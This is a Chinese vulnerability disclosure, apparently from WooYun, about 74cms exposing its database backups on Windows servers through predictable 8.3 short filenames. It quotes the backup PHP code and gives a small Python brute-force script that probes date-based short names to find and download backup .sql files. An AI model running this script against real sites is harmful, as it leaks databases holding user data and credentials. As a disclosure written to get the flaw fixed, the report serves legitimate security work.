### 简要描述:
~~
### 详细说明:
首先我们来科普一下windows的短文件名,也就是下面我们要用到的。
[WooYun: ThinkSAAS某处设计缺陷可能导致被拖库利用(环境与功能条件限制)](http://www.wooyun.org/bugs/wooyun-2014-056625)
见上面漏洞的科普介绍,这里我们直接利用吧。
74cms的数据库备份如下:
```
//执行备份
elseif($act =='do_backup')
{
check_permissions($_SESSION['admin_purview'],"database");
if (!file_exists("../data/".$backup_dir."/"))adminmsg("备份文件存放目录data/".$backup_dir."不存在!",0);
if (!is_writable("../data/".$backup_dir."/"))adminmsg("备份文件存放目录data/".$backup_dir."不可写!",0);
$limit_size = !empty($_REQUEST['limit_size']) ? intval($_REQUEST['limit_size']) : '2048';
$mysql_type = !empty($_REQUEST['mysql_type']) ? trim($_REQUEST['mysql_type']) : '';
$table_id = !empty($_REQUEST['table_id']) ? intval($_REQUEST['table_id']) : 0;
$file = !empty($_GET['file']) ? trim($_GET['file']) : date("Ymd_", time()) . get_rand_char(5).uniqid();
$num = !empty($_GET['num']) ? intval($_GET['num']) : 1;
$pos = !empty($_GET['pos']) ? intval($_GET['pos']) : 0;
if (!empty($_POST['tables']))
{
$tables = $_POST['tables'];
@file_put_contents("../data/{$backup_dir}/temp.txt", serialize($_POST['tables']));
}
elseif ($_GET['table_id'])
{
$content = file_get_contents("../data/{$backup_dir}/temp.txt");
$tables = unserialize($content);
}
else
{
adminmsg("您没有选择备份的表!",1);
}
$db_version = $db->dbversion();
$sql = '';
$version = QISHI_VERSION;
$add_time = date("Y-m-d H:i:s");
$sql .= "-- 74CMS VERSION:{$version}\r\n".
"-- Mysql VERSION:{$db_version}\r\n".
"-- Create time:{$add_time}\r\n";
$count = count($tables);
for($i = $table_id; $i < $count; $i++)
{
$table = $tables[$i];
if ($pos == 0)
{
$table_sql = write_head($table);
$table_sql = preg_replace('/AUTO_INCREMENT=([0-9]+)(\s+)/', '', $table_sql);
$table_sql1 = substr($table_sql, 0, strrpos($table_sql, ')', 25)+1);
if ($mysql_type == 'mysql40' && $db_version > 4.0)
{
$s = "TYPE=MyISAM;\r\n";
$table_sql = $table_sql1 . $s;
}
elseif($mysql_type == 'mysql41' && $db_version < 4.1)
{
$s = "ENGINE=MyISAM DEFAULT CHARSET=".QISHI_CHARSET.";\r\n";
$table_sql = $table_sql1 . $s;
}
else
{
$table_sql .= ";\r\n";
}
}
$result = $db->query("SELECT * FROM " . $table);
$field_num = $db->num_fields($result);
$row_count = $db->getfirst("SELECT COUNT(*) FROM " . $table);
$j = 0;
while ($row = $db->fetch_array($result, MYSQL_NUM))
{
if ($j < $pos)
{
$j++;
continue;
}
$table_sql .= "INSERT INTO `".$table."` VALUES (";
for($m=0;$m<$field_num;$m++)
{
$table_sql .= "'" .escape_str($row[$m]) . "',";
}
$table_sql = substr($table_sql,0,-1).");\r\n";
if (strlen($sql.$table_sql) >= $limit_size * 1000)
{
if (!write_file("../data/{$backup_dir}/{$file}_{$num}.sql", $sql))
{
adminmsg('备份数据库卷-'.$num.'失败',0);
}
if ($j == $row_count-1)
{
$i++;
}
$link[0]['text'] = "系统将自动继续...";
$link[0]['href'] = "admin_database.php?act=do_backup&limit_size={$limit_size}&mysql_type={$mysql_type}&file={$file}&num=".($num+1)."&table_id={$i}&pos=".$j;
adminmsg('文件'.$file.'_'.$num.'.sql 成功备份。系统将自动继续...',1,$link,true,1);
exit();
}else{
$sql .= $table_sql;
$table_sql = '';
}
$j++;
}
$pos = 0;
if (strlen($sql.$table_sql) >= $limit_size * 1000)
{
if (!write_file("../data/{$backup_dir}/{$file}_{$num}.sql", $sql))
{
adminmsg("备份数据库卷-{$num}失败",0);
}
$link[0]['text'] = "程序将自动继续...";
$link[0]['href'] = "admin_database.php?act=do_backup&limit_size=".$limit_size."&mysql_type=".$mysql_type."&file=".$file."&num=".($num+1)."&table_id=".($i+1);
adminmsg('文件' . $file . '_' . $num.'.sql 成功备份。程序将自动继续...', 1,$link,true,2);
exit();
}
elseif ($i == $count-1)
{
if (!write_file("../data/{$backup_dir}/{$file}_{$num}.sql", $sql))
{
adminmsg('备份数据库卷-{$num}失败');
}
@unlink("../data/{$backup_dir}/temp.txt");
$link[0]['text'] = "查看备份文件";
$link[0]['href'] = "?act=restore";
adminmsg('数据库备份成功',2,$link);
}
elseif ($j == 0)
{
$sql .= $table_sql;
}
}
}
```
备份的文件名为:
$file = !empty($_GET['file']) ? trim($_GET['file']) : date("Ymd_", time()) . get_rand_char(5).uniqid()
备份的地址为/data/backup/filename.sql
也就是默认情况下数据库备份文件的filename为:
年月日_5位大小写字母+uniqid()_卷的number.sql
例如:20140508_HaHzj536b51968ec34_1.sql
利用windows的短文件名我们可以访问数据库备份文件如下:
20140508_HaHzj536b51968ec34_1.sql == 201405~1.sql
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201405/081757171c1508ff4b136914bbd6cb0de56b3be5.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/081757171c1508ff4b136914bbd6cb0de56b3be5.png)
在不知道备份文件名的情况下,我们可以来利用段文件名爆破一下:
```
# -*- coding: UTF-8 -*-
import urllib
from urlparse import urljoin
def run(host):
print "Starting......"
years =["2012","2013","2014"]
months = ["01","02","03","04","05","06","07","08","09","10","11","12"]
for y in range(len(years)):
for i in range(len(months)):
mdhis = months[i]
year = years[y]
url = urljoin(host, "/data/baksql/"+year+mdhis+"~1.sql")
print url
res = urllib.urlopen( url )
if res.getcode() == 200 and len(res.read()) > 0:
print "Success, The Bak Url Is : >>> " + url
break
print "Nothing..."
if __name__ == "__main__":
import sys
host = sys.argv[1]
run(host)
```
很快得到短文件名:201405~1.sql
[<img src="https://images.seebug.org/upload/201405/081758285dab21b6d6facdc72967fbc4084ae8a1.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/081758285dab21b6d6facdc72967fbc4084ae8a1.png)
暂无评论